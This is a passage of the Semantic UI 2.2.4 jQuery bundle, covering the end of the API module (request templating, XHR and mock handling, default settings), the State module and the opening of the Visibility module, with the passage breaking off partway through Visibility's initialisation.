                  if(value !== undefined) {
                    module.verbose('Optional variable Found', variable, value);
                    url = url.replace(templatedString, value);
                  }
                  else {
                    module.verbose('Optional variable not found', variable);
                    // remove preceding slash if set
                    if(url.indexOf('/' + templatedString) !== -1) {
                      url = url.replace('/' + templatedString, '');
                    }
                    else {
                      url = url.replace(templatedString, '');
                    }
                  }
                });
              }
            }
            return url;
          },
          formData: function(data) {
            var
              canSerialize = ($.fn.serializeObject !== undefined),
              formData     = (canSerialize)
                ? $form.serializeObject()
                : $form.serialize(),
              hasOtherData
            ;
            data         = data || settings.data;
            hasOtherData = $.isPlainObject(data);

            if(hasOtherData) {
              if(canSerialize) {
                module.debug('Extending existing data with form data', data, formData);
                data = $.extend(true, {}, data, formData);
              }
              else {
                module.error(error.missingSerialize);
                module.debug('Cant extend data. Replacing data with form data', data, formData);
                data = formData;
              }
            }
            else {
              module.debug('Adding form data', formData);
              data = formData;
            }
            return data;
          }
        },

        send: {
          request: function() {
            module.set.loading();
            module.request = module.create.request();
            if( module.is.mocked() ) {
              module.mockedXHR = module.create.mockedXHR();
            }
            else {
              module.xhr = module.create.xhr();
            }
            settings.onRequest.call(context, module.request, module.xhr);
          }
        },

        event: {
          trigger: function(event) {
            module.query();
            if(event.type == 'submit' || event.type == 'click') {
              event.preventDefault();
            }
          },
          xhr: {
            always: function() {
              // nothing special
            },
            done: function(response, textStatus, xhr) {
              var
                context            = this,
                elapsedTime        = (new Date().getTime() - requestStartTime),
                timeLeft           = (settings.loadingDuration - elapsedTime),
                translatedResponse = ( $.isFunction(settings.onResponse) )
                  ? module.is.expectingJSON()
                    ? settings.onResponse.call(context, $.extend(true, {}, response))
                    : settings.onResponse.call(context, response)
                  : false
              ;
              timeLeft = (timeLeft > 0)
                ? timeLeft
                : 0
              ;
              if(translatedResponse) {
                module.debug('Modified API response in onResponse callback', settings.onResponse, translatedResponse, response);
                response = translatedResponse;
              }
              if(timeLeft > 0) {
                module.debug('Response completed early delaying state change by', timeLeft);
              }
              setTimeout(function() {
                if( module.is.validResponse(response) ) {
                  module.request.resolveWith(context, [response, xhr]);
                }
                else {
                  module.request.rejectWith(context, [xhr, 'invalid']);
                }
              }, timeLeft);
            },
            fail: function(xhr, status, httpMessage) {
              var
                context     = this,
                elapsedTime = (new Date().getTime() - requestStartTime),
                timeLeft    = (settings.loadingDuration - elapsedTime)
              ;
              timeLeft = (timeLeft > 0)
                ? timeLeft
                : 0
              ;
              if(timeLeft > 0) {
                module.debug('Response completed early delaying state change by', timeLeft);
              }
              setTimeout(function() {
                if( module.is.abortedRequest(xhr) ) {
                  module.request.rejectWith(context, [xhr, 'aborted', httpMessage]);
                }
                else {
                  module.request.rejectWith(context, [xhr, 'error', status, httpMessage]);
                }
              }, timeLeft);
            }
          },
          request: {
            done: function(response, xhr) {
              module.debug('Successful API Response', response);
              if(settings.cache === 'local' && url) {
                module.write.cachedResponse(url, response);
                module.debug('Saving server response locally', module.cache);
              }
              settings.onSuccess.call(context, response, $module, xhr);
            },
            complete: function(firstParameter, secondParameter) {
              var
                xhr,
                response
              ;
              // have to guess callback parameters based on request success
              if( module.was.succesful() ) {
                response = firstParameter;
                xhr      = secondParameter;
              }
              else {
                xhr      = firstParameter;
                response = module.get.responseFromXHR(xhr);
              }
              module.remove.loading();
              settings.onComplete.call(context, response, $module, xhr);
            },
            fail: function(xhr, status, httpMessage) {
              var
                // pull response from xhr if available
                response     = module.get.responseFromXHR(xhr),
                errorMessage = module.get.errorFromRequest(response, status, httpMessage)
              ;
              if(status == 'aborted') {
                module.debug('XHR Aborted (Most likely caused by page navigation or CORS Policy)', status, httpMessage);
                settings.onAbort.call(context, status, $module, xhr);
                return true;
              }
              else if(status == 'invalid') {
                module.debug('JSON did not pass success test. A server-side error has most likely occurred', response);
              }
              else if(status == 'error') {
                if(xhr !== undefined) {
                  module.debug('XHR produced a server error', status, httpMessage);
                  // make sure we have an error to display to console
                  if( xhr.status != 200 && httpMessage !== undefined && httpMessage !== '') {
                    module.error(error.statusMessage + httpMessage, ajaxSettings.url);
                  }
                  settings.onError.call(context, errorMessage, $module, xhr);
                }
              }

              if(settings.errorDuration && status !== 'aborted') {
                module.debug('Adding error state');
                module.set.error();
                if( module.should.removeError() ) {
                  setTimeout(module.remove.error, settings.errorDuration);
                }
              }
              module.debug('API Request failed', errorMessage, xhr);
              settings.onFailure.call(context, response, $module, xhr);
            }
          }
        },

        create: {

          request: function() {
            // api request promise
            return $.Deferred()
              .always(module.event.request.complete)
              .done(module.event.request.done)
              .fail(module.event.request.fail)
            ;
          },

          mockedXHR: function () {
            var
              // xhr does not simulate these properties of xhr but must return them
              textStatus     = false,
              status         = false,
              httpMessage    = false,
              responder      = settings.mockResponse      || settings.response,
              asyncResponder = settings.mockResponseAsync || settings.responseAsync,
              asyncCallback,
              response,
              mockedXHR
            ;

            mockedXHR = $.Deferred()
              .always(module.event.xhr.complete)
              .done(module.event.xhr.done)
              .fail(module.event.xhr.fail)
            ;

            if(responder) {
              if( $.isFunction(responder) ) {
                module.debug('Using specified synchronous callback', responder);
                response = responder.call(context, requestSettings);
              }
              else {
                module.debug('Using settings specified response', responder);
                response = responder;
              }
              // simulating response
              mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]);
            }
            else if( $.isFunction(asyncResponder) ) {
              asyncCallback = function(response) {
                module.debug('Async callback returned response', response);

                if(response) {
                  mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]);
                }
                else {
                  mockedXHR.rejectWith(context, [{ responseText: response }, status, httpMessage]);
                }
              };
              module.debug('Using specified async response callback', asyncResponder);
              asyncResponder.call(context, requestSettings, asyncCallback);
            }
            return mockedXHR;
          },

          xhr: function() {
            var
              xhr
            ;
            // ajax request promise
            xhr = $.ajax(ajaxSettings)
              .always(module.event.xhr.always)
              .done(module.event.xhr.done)
              .fail(module.event.xhr.fail)
            ;
            module.verbose('Created server request', xhr, ajaxSettings);
            return xhr;
          }
        },

        set: {
          error: function() {
            module.verbose('Adding error state to element', $context);
            $context.addClass(className.error);
          },
          loading: function() {
            module.verbose('Adding loading state to element', $context);
            $context.addClass(className.loading);
            requestStartTime = new Date().getTime();
          }
        },

        remove: {
          error: function() {
            module.verbose('Removing error state from element', $context);
            $context.removeClass(className.error);
          },
          loading: function() {
            module.verbose('Removing loading state from element', $context);
            $context.removeClass(className.loading);
          }
        },

        get: {
          responseFromXHR: function(xhr) {
            return $.isPlainObject(xhr)
              ? (module.is.expectingJSON())
                ? module.decode.json(xhr.responseText)
                : xhr.responseText
              : false
            ;
          },
          errorFromRequest: function(response, status, httpMessage) {
            return ($.isPlainObject(response) && response.error !== undefined)
              ? response.error // use json error message
              : (settings.error[status] !== undefined) // use server error message
                ? settings.error[status]
                : httpMessage
            ;
          },
          request: function() {
            return module.request || false;
          },
          xhr: function() {
            return module.xhr || false;
          },
          settings: function() {
            var
              runSettings
            ;
            runSettings = settings.beforeSend.call(context, settings);
            if(runSettings) {
              if(runSettings.success !== undefined) {
                module.debug('Legacy success callback detected', runSettings);
                module.error(error.legacyParameters, runSettings.success);
                runSettings.onSuccess = runSettings.success;
              }
              if(runSettings.failure !== undefined) {
                module.debug('Legacy failure callback detected', runSettings);
                module.error(error.legacyParameters, runSettings.failure);
                runSettings.onFailure = runSettings.failure;
              }
              if(runSettings.complete !== undefined) {
                module.debug('Legacy complete callback detected', runSettings);
                module.error(error.legacyParameters, runSettings.complete);
                runSettings.onComplete = runSettings.complete;
              }
            }
            if(runSettings === undefined) {
              module.error(error.noReturnedValue);
            }
            if(runSettings === false) {
              return runSettings;
            }
            return (runSettings !== undefined)
              ? $.extend(true, {}, runSettings)
              : $.extend(true, {}, settings)
            ;
          },
          urlEncodedValue: function(value) {
            var
              decodedValue   = window.decodeURIComponent(value),
              encodedValue   = window.encodeURIComponent(value),
              alreadyEncoded = (decodedValue !== value)
            ;
            if(alreadyEncoded) {
              module.debug('URL value is already encoded, avoiding double encoding', value);
              return value;
            }
            module.verbose('Encoding value using encodeURIComponent', value, encodedValue);
            return encodedValue;
          },
          defaultData: function() {
            var
              data = {}
            ;
            if( !$.isWindow(element) ) {
              if( module.is.input() ) {
                data.value = $module.val();
              }
              else if( module.is.form() ) {

              }
              else {
                data.text = $module.text();
              }
            }
            return data;
          },
          event: function() {
            if( $.isWindow(element) || settings.on == 'now' ) {
              module.debug('API called without element, no events attached');
              return false;
            }
            else if(settings.on == 'auto') {
              if( $module.is('input') ) {
                return (element.oninput !== undefined)
                  ? 'input'
                  : (element.onpropertychange !== undefined)
                    ? 'propertychange'
                    : 'keyup'
                ;
              }
              else if( $module.is('form') ) {
                return 'submit';
              }
              else {
                return 'click';
              }
            }
            else {
              return settings.on;
            }
          },
          templatedURL: function(action) {
            action = action || $module.data(metadata.action) || settings.action || false;
            url    = $module.data(metadata.url) || settings.url || false;
            if(url) {
              module.debug('Using specified url', url);
              return url;
            }
            if(action) {
              module.debug('Looking up url for action', action, settings.api);
              if(settings.api[action] === undefined && !module.is.mocked()) {
                module.error(error.missingAction, settings.action, settings.api);
                return;
              }
              url = settings.api[action];
            }
            else if( module.is.form() ) {
              url = $module.attr('action') || $context.attr('action') || false;
              module.debug('No url or action specified, defaulting to form action', url);
            }
            return url;
          }
        },

        abort: function() {
          var
            xhr = module.get.xhr()
          ;
          if( xhr && xhr.state() !== 'resolved') {
            module.debug('Cancelling API request');
            xhr.abort();
          }
        },

        // reset state
        reset: function() {
          module.remove.error();
          module.remove.loading();
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                //'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.api.settings = {

  name              : 'API',
  namespace         : 'api',

  debug             : false,
  verbose           : false,
  performance       : true,

  // object containing all templates endpoints
  api               : {},

  // whether to cache responses
  cache             : true,

  // whether new requests should abort previous requests
  interruptRequests : true,

  // event binding
  on                : 'auto',

  // context for applying state classes
  stateContext      : false,

  // duration for loading state
  loadingDuration   : 0,

  // whether to hide errors after a period of time
  hideError         : 'auto',

  // duration for error state
  errorDuration     : 2000,

  // whether parameters should be encoded with encodeURIComponent
  encodeParameters  : true,

  // API action to use
  action            : false,

  // templated URL to use
  url               : false,

  // base URL to apply to all endpoints
  base              : '',

  // data that will
  urlData           : {},

  // whether to add default data to url data
  defaultData          : true,

  // whether to serialize closest form
  serializeForm        : false,

  // how long to wait before request should occur
  throttle             : 0,

  // whether to throttle first request or only repeated
  throttleFirstRequest : true,

  // standard ajax settings
  method            : 'get',
  data              : {},
  dataType          : 'json',

  // mock response
  mockResponse      : false,
  mockResponseAsync : false,

  // aliases for mock
  response          : false,
  responseAsync     : false,

  // callbacks before request
  beforeSend  : function(settings) { return settings; },
  beforeXHR   : function(xhr) {},
  onRequest   : function(promise, xhr) {},

  // after request
  onResponse  : false, // function(response) { },

  // response was successful, if JSON passed validation
  onSuccess   : function(response, $module) {},

  // request finished without aborting
  onComplete  : function(response, $module) {},

  // failed JSON success test
  onFailure   : function(response, $module) {},

  // server error
  onError     : function(errorMessage, $module) {},

  // request aborted
  onAbort     : function(errorMessage, $module) {},

  successTest : false,

  // errors
  error : {
    beforeSend        : 'The before send function has aborted the request',
    error             : 'There was an error with your request',
    exitConditions    : 'API Request Aborted. Exit conditions met',
    JSONParse         : 'JSON could not be parsed during error handling',
    legacyParameters  : 'You are using legacy API success callback names',
    method            : 'The method you called is not defined',
    missingAction     : 'API action used but no url was defined',
    missingSerialize  : 'jquery-serialize-object is required to add form data to an existing data object',
    missingURL        : 'No URL specified for api event',
    noReturnedValue   : 'The beforeSend callback must return a settings object, beforeSend ignored.',
    noStorage         : 'Caching responses locally requires session storage',
    parseError        : 'There was an error parsing your request',
    requiredParameter : 'Missing a required URL parameter: ',
    statusMessage     : 'Server gave an error: ',
    timeout           : 'Your request timed out'
  },

  regExp  : {
    required : /\{\$*[A-z0-9]+\}/g,
    optional : /\{\/\$*[A-z0-9]+\}/g,
  },

  className: {
    loading : 'loading',
    error   : 'error'
  },

  selector: {
    disabled : '.disabled',
    form      : 'form'
  },

  metadata: {
    action  : 'action',
    url     : 'url'
  }
};



})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - State
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.state = function(parameters) {
  var
    $allModules     = $(this),

    moduleSelector  = $allModules.selector || '',

    hasTouch        = ('ontouchstart' in document.documentElement),
    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    returnedValue
  ;
  $allModules
    .each(function() {
      var
        settings          = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.state.settings, parameters)
          : $.extend({}, $.fn.state.settings),

        error           = settings.error,
        metadata        = settings.metadata,
        className       = settings.className,
        namespace       = settings.namespace,
        states          = settings.states,
        text            = settings.text,

        eventNamespace  = '.' + namespace,
        moduleNamespace = namespace + '-module',

        $module         = $(this),

        element         = this,
        instance        = $module.data(moduleNamespace),

        module
      ;
      module = {

        initialize: function() {
          module.verbose('Initializing module');

          // allow module to guess desired state based on element
          if(settings.automatic) {
            module.add.defaults();
          }

          // bind events with delegated events
          if(settings.context && moduleSelector !== '') {
            $(settings.context)
              .on(moduleSelector, 'mouseenter' + eventNamespace, module.change.text)
              .on(moduleSelector, 'mouseleave' + eventNamespace, module.reset.text)
              .on(moduleSelector, 'click'      + eventNamespace, module.toggle.state)
            ;
          }
          else {
            $module
              .on('mouseenter' + eventNamespace, module.change.text)
              .on('mouseleave' + eventNamespace, module.reset.text)
              .on('click'      + eventNamespace, module.toggle.state)
            ;
          }
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous module', instance);
          $module
            .off(eventNamespace)
            .removeData(moduleNamespace)
          ;
        },

        refresh: function() {
          module.verbose('Refreshing selector cache');
          $module = $(element);
        },

        add: {
          defaults: function() {
            var
              userStates = parameters && $.isPlainObject(parameters.states)
                ? parameters.states
                : {}
            ;
            $.each(settings.defaults, function(type, typeStates) {
              if( module.is[type] !== undefined && module.is[type]() ) {
                module.verbose('Adding default states', type, element);
                $.extend(settings.states, typeStates, userStates);
              }
            });
          }
        },

        is: {

          active: function() {
            return $module.hasClass(className.active);
          },
          loading: function() {
            return $module.hasClass(className.loading);
          },
          inactive: function() {
            return !( $module.hasClass(className.active) );
          },
          state: function(state) {
            if(className[state] === undefined) {
              return false;
            }
            return $module.hasClass( className[state] );
          },

          enabled: function() {
            return !( $module.is(settings.filter.active) );
          },
          disabled: function() {
            return ( $module.is(settings.filter.active) );
          },
          textEnabled: function() {
            return !( $module.is(settings.filter.text) );
          },

          // definitions for automatic type detection
          button: function() {
            return $module.is('.button:not(a, .submit)');
          },
          input: function() {
            return $module.is('input');
          },
          progress: function() {
            return $module.is('.ui.progress');
          }
        },

        allow: function(state) {
          module.debug('Now allowing state', state);
          states[state] = true;
        },
        disallow: function(state) {
          module.debug('No longer allowing', state);
          states[state] = false;
        },

        allows: function(state) {
          return states[state] || false;
        },

        enable: function() {
          $module.removeClass(className.disabled);
        },

        disable: function() {
          $module.addClass(className.disabled);
        },

        setState: function(state) {
          if(module.allows(state)) {
            $module.addClass( className[state] );
          }
        },

        removeState: function(state) {
          if(module.allows(state)) {
            $module.removeClass( className[state] );
          }
        },

        toggle: {
          state: function() {
            var
              apiRequest,
              requestCancelled
            ;
            if( module.allows('active') && module.is.enabled() ) {
              module.refresh();
              if($.fn.api !== undefined) {
                apiRequest       = $module.api('get request');
                requestCancelled = $module.api('was cancelled');
                if( requestCancelled ) {
                  module.debug('API Request cancelled by beforesend');
                  settings.activateTest   = function(){ return false; };
                  settings.deactivateTest = function(){ return false; };
                }
                else if(apiRequest) {
                  module.listenTo(apiRequest);
                  return;
                }
              }
              module.change.state();
            }
          }
        },

        listenTo: function(apiRequest) {
          module.debug('API request detected, waiting for state signal', apiRequest);
          if(apiRequest) {
            if(text.loading) {
              module.update.text(text.loading);
            }
            $.when(apiRequest)
              .then(function() {
                if(apiRequest.state() == 'resolved') {
                  module.debug('API request succeeded');
                  settings.activateTest   = function(){ return true; };
                  settings.deactivateTest = function(){ return true; };
                }
                else {
                  module.debug('API request failed');
                  settings.activateTest   = function(){ return false; };
                  settings.deactivateTest = function(){ return false; };
                }
                module.change.state();
              })
            ;
          }
        },

        // checks whether active/inactive state can be given
        change: {

          state: function() {
            module.debug('Determining state change direction');
            // inactive to active change
            if( module.is.inactive() ) {
              module.activate();
            }
            else {
              module.deactivate();
            }
            if(settings.sync) {
              module.sync();
            }
            settings.onChange.call(element);
          },

          text: function() {
            if( module.is.textEnabled() ) {
              if(module.is.disabled() ) {
                module.verbose('Changing text to disabled text', text.hover);
                module.update.text(text.disabled);
              }
              else if( module.is.active() ) {
                if(text.hover) {
                  module.verbose('Changing text to hover text', text.hover);
                  module.update.text(text.hover);
                }
                else if(text.deactivate) {
                  module.verbose('Changing text to deactivating text', text.deactivate);
                  module.update.text(text.deactivate);
                }
              }
              else {
                if(text.hover) {
                  module.verbose('Changing text to hover text', text.hover);
                  module.update.text(text.hover);
                }
                else if(text.activate){
                  module.verbose('Changing text to activating text', text.activate);
                  module.update.text(text.activate);
                }
              }
            }
          }

        },

        activate: function() {
          if( settings.activateTest.call(element) ) {
            module.debug('Setting state to active');
            $module
              .addClass(className.active)
            ;
            module.update.text(text.active);
            settings.onActivate.call(element);
          }
        },

        deactivate: function() {
          if( settings.deactivateTest.call(element) ) {
            module.debug('Setting state to inactive');
            $module
              .removeClass(className.active)
            ;
            module.update.text(text.inactive);
            settings.onDeactivate.call(element);
          }
        },

        sync: function() {
          module.verbose('Syncing other buttons to current state');
          if( module.is.active() ) {
            $allModules
              .not($module)
                .state('activate');
          }
          else {
            $allModules
              .not($module)
                .state('deactivate')
            ;
          }
        },

        get: {
          text: function() {
            return (settings.selector.text)
              ? $module.find(settings.selector.text).text()
              : $module.html()
            ;
          },
          textFor: function(state) {
            return text[state] || false;
          }
        },

        flash: {
          text: function(text, duration, callback) {
            var
              previousText = module.get.text()
            ;
            module.debug('Flashing text message', text, duration);
            text     = text     || settings.text.flash;
            duration = duration || settings.flashDuration;
            callback = callback || function() {};
            module.update.text(text);
            setTimeout(function(){
              module.update.text(previousText);
              callback.call(element);
            }, duration);
          }
        },

        reset: {
          // on mouseout sets text to previous value
          text: function() {
            var
              activeText   = text.active   || $module.data(metadata.storedText),
              inactiveText = text.inactive || $module.data(metadata.storedText)
            ;
            if( module.is.textEnabled() ) {
              if( module.is.active() && activeText) {
                module.verbose('Resetting active text', activeText);
                module.update.text(activeText);
              }
              else if(inactiveText) {
                module.verbose('Resetting inactive text', activeText);
                module.update.text(inactiveText);
              }
            }
          }
        },

        update: {
          text: function(text) {
            var
              currentText = module.get.text()
            ;
            if(text && text !== currentText) {
              module.debug('Updating text', text);
              if(settings.selector.text) {
                $module
                  .data(metadata.storedText, text)
                  .find(settings.selector.text)
                    .text(text)
                ;
              }
              else {
                $module
                  .data(metadata.storedText, text)
                  .html(text)
                ;
              }
            }
            else {
              module.debug('Text is already set, ignoring update', text);
            }
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.state.settings = {

  // module info
  name           : 'State',

  // debug output
  debug          : false,

  // verbose debug output
  verbose        : false,

  // namespace for events
  namespace      : 'state',

  // debug data includes performance
  performance    : true,

  // callback occurs on state change
  onActivate     : function() {},
  onDeactivate   : function() {},
  onChange       : function() {},

  // state test functions
  activateTest   : function() { return true; },
  deactivateTest : function() { return true; },

  // whether to automatically map default states
  automatic      : true,

  // activate / deactivate changes all elements instantiated at same time
  sync           : false,

  // default flash text duration, used for temporarily changing text of an element
  flashDuration  : 1000,

  // selector filter
  filter     : {
    text   : '.loading, .disabled',
    active : '.disabled'
  },

  context    : false,

  // error
  error: {
    beforeSend : 'The before send function has cancelled state change',
    method     : 'The method you called is not defined.'
  },

  // metadata
  metadata: {
    promise    : 'promise',
    storedText : 'stored-text'
  },

  // change class on state
  className: {
    active   : 'active',
    disabled : 'disabled',
    error    : 'error',
    loading  : 'loading',
    success  : 'success',
    warning  : 'warning'
  },

  selector: {
    // selector for text node
    text: false
  },

  defaults : {
    input: {
      disabled : true,
      loading  : true,
      active   : true
    },
    button: {
      disabled : true,
      loading  : true,
      active   : true,
    },
    progress: {
      active   : true,
      success  : true,
      warning  : true,
      error    : true
    }
  },

  states     : {
    active   : true,
    disabled : true,
    error    : true,
    loading  : true,
    success  : true,
    warning  : true
  },

  text     : {
    disabled   : false,
    flash      : false,
    hover      : false,
    active     : false,
    inactive   : false,
    activate   : false,
    deactivate : false
  }

};



})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Visibility
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.visibility = function(parameters) {
  var
    $allModules    = $(this),
    moduleSelector = $allModules.selector || '',

    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),
    returnedValue,

    moduleCount    = $allModules.length,
    loadedCount    = 0
  ;

  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.visibility.settings, parameters)
          : $.extend({}, $.fn.visibility.settings),

        className       = settings.className,
        namespace       = settings.namespace,
        error           = settings.error,
        metadata        = settings.metadata,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $window         = $(window),

        $module         = $(this),
        $context        = $(settings.context),

        $placeholder,

        selector        = $module.selector || '',
        instance        = $module.data(moduleNamespace),

        requestAnimationFrame = window.requestAnimationFrame
          || window.mozRequestAnimationFrame
          || window.webkitRequestAnimationFrame
          || window.msRequestAnimationFrame
          || function(callback) { setTimeout(callback, 0); },

        element         = this,
        disabled        = false,

        contextObserver,
        observer,
        module
      ;

      module = {

        initialize: function() {
          module.debug('Initializing', settings);

          module.setup.cache();

          if( module.should.trackChanges() ) {

            if(settings.type == 'image') {
              module.setup.image();
            }
            if(settings.type == 'fixed') {
              module.setup.fixed();
            }

            if(settings.observeChanges) {
              module.observeChanges();
